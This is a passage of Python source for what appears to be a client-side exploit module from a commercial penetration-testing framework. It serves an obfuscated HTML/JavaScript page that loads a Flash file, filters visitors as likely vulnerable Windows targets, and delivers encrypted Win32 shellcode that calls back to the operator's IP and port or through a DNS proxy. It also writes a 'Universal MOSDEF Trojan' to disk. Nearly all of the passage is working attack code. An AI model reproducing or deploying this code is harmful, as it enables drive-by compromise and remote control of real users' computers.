args[i+1]; break; case "src": case "movie": args[i+1] = AC_AddExtension(args[i+1], ext); ret.embedAttrs["src"] = args[i+1]; ret.params[srcParamName] = args[i+1]; break; case "onafterupdate": case "onbeforeupdate": case "onblur": case "oncellchange": case "onclick": case "ondblclick": case "ondrag": case "ondragend": case "ondragenter": case "ondragleave": case "ondragover": case "ondrop": case "onfinish": case "onfocus": case "onhelp": case "onmousedown": case "onmouseup": case "onmouseover": case "onmousemove": case "onmouseout": case "onkeypress": case "onkeydown": case "onkeyup": case "onload": case "onlosecapture": case "onpropertychange": case "onreadystatechange": case "onrowsdelete": case "onrowenter": case "onrowexit": case "onrowsinserted": case "onstart": case "onscroll": case "onbeforeeditfocus": case "onactivate": case "onbeforedeactivate": case "ondeactivate": case "type": case "codebase": case "id": ret.objAttrs[args[i]] = args[i+1]; break; case "width": case "height": case "align": case "vspace": case "hspace": case "class": case "title": case "accesskey": case "name": case "tabindex": ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1]; break; default: ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1]; } } ret.objAttrs["classid"] = classid; if (mimeType) ret.embedAttrs["type"] = mimeType; return ret; } """ return js def makefile(self): """ Makes the exploit HTML """ self.getArgs() filedata = """<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Test</title> <script language="javascript">AC_FL_RunContent = 0;</script> <script src="AC_RunActiveContent.js" language="javascript"></script> </head> <body> <script language="JavaScript"> """ script = """ if (AC_FL_RunContent == 0) { alert("This page requires AC_RunActiveContent.js."); } else { AC_FL_RunContent( 'codebase', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0', 'width', '550', 'height', '400', 'src', 'SWFBASENAME', 'quality', 'high', 'pluginspage', 'http://www.macromedia.com/go/getflashplayer', 'align', 'middle', 'play', 'true', 'loop', 'true', 'scale', 'showall', 'wmode', 'window', 'devicefont', 'false', 'id', 'SWFBASENAME', 'bgcolor', '#ffffff', 'name', 'SWFBASENAME', 'menu', 'true', 'allowFullScreen', 'false', 'allowScriptAccess','sameDomain', 'movie', 'SWFBASENAME', 'salign', '' ); //end AC code } """ script = script.replace('SWFBASENAME', self.swffilename[:self.swffilename.find('.')]) filedata += self.jsObfuscator.obfuscate(script) #filedata += script filedata += """ </script> <noscript> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" height="100%" id="index" align="middle"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> <param name="movie" value="SWFFILENAME" /> <param name="quality" value="high" /> <param name="bgcolor" value="#000000" /> <embed src="SWFFILENAME" quality="high" bgcolor="#ffffff" width="100%" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </noscript> </body> </html> """ filedata = filedata.replace('SWFFILENAME', self.swffilename) return filedata def makeSWF(self): f = open(self.swffilename, 'rb+') swf = f.read() f.close() return swf def createShellcode(self): before_shellcode = """ subl $0x2800, %esp leal 0x1400(%esp),%edi mov %ebx,(%edi) mov %esi,0x4(%edi) mov %edi,0x8(%edi) mov %esp,0xc(%edi) mov %ebp,0x10(%edi) """ continuation_code = """ leal -0x1628(%ebx),%eax mov (%eax),%ebx mov 0x4(%eax),%esi mov 0x8(%eax),%edi mov 0xc(%eax),%esp mov 0x10(%eax),%ebp mov %esi, %esp mov $0x6, %eax ret """ injectme = self.createWin32Shellcode_universal(self.badstring, self.callback.ip, self.callback.port) if not self.DNSMOSDEF: sc = shellcodeGenerator.win32() sc.vProtectSelf = False sc.vAllocSelf = False sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme": injectme, "customexit": continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() else: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() cd = "C000.00.%s.ms11003.com" % (self.random_dummy_string()) dns = p.dns_proxy( cd, self.callback.ip) #we'll need to tweak the domain dns = p.assemble(dns) sc = shellcodeGenerator.win32() sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme": dns, "customexit": continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() return len(self.shellcode) def makesploit(self, clientheader, clientbody): self.log( "\n---------------\nmakesploit - URL = %s\n---------------\n" % clientheader.URL) h = header('SERVER') b = body() if self.plugin_info: info_dict = self.plugin_info self.log("We got a plugin info for this target - thanks clientd!") if self.is_vulnerable(info_dict): self.log("This client is most likely vulnerable!") else: self.log( "Bailing on this client as it is not likely to be vulnerable." ) return None, None else: # if there is no info about plugins, at least we can filter using # the user-agent making sure target is Windows useragent = clientheader.getStrValue(['User-Agent']) self.log("User-Agent = %s" % useragent) if "windows" in useragent.lower(): self.log("This client is likely to be vulnerable!") else: self.log( "Bailing on this client as it is not likely to be vulnerable." ) return None, None if clientheader.URL.count(self.filename): self.log('Serving HTML file') sploitstring = self.makefile() b.setBody(sploitstring) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif clientheader.URL.count(self.jsfilename): self.log('Serving JS file') b.setBody(self.makeJS()) h.addHeader('Content-Type', 'text/javascript') elif clientheader.URL.count(self.swffilename): self.log('Serving SWF file') b.setBody(self.makeSWF()) h.addHeader('Content-Type', 'application/x-shockwave-flash') elif clientheader.URL.count("code"): self.createShellcode() h.addHeader('Content-Type', 'application/octet-stream') b.setBody(self._encrypt(self.shellcode)) else: self.log('redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host = self.target.interface self.getarg("filename") self.getarg("trojan_filename") return def run(self): self.getArgs() # Build the html that triggers the vulnerability filedata = self.makefile() self.log('Opening %s for output' % self.filename) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('Wrote exploit HTML to %s' % self.filename) mosdeftrojan = self.makeTrojan() if mosdeftrojan is None: self.log("Failed to build Universal MOSDEF Trojan") return 0 else: fd = file(self.trojan_filename, 'wb+') fd.write(mosdeftrojan) fd.close() self.log('Wrote Universal MOSDEF Trojan to %s' % self.trojan_filename) return 1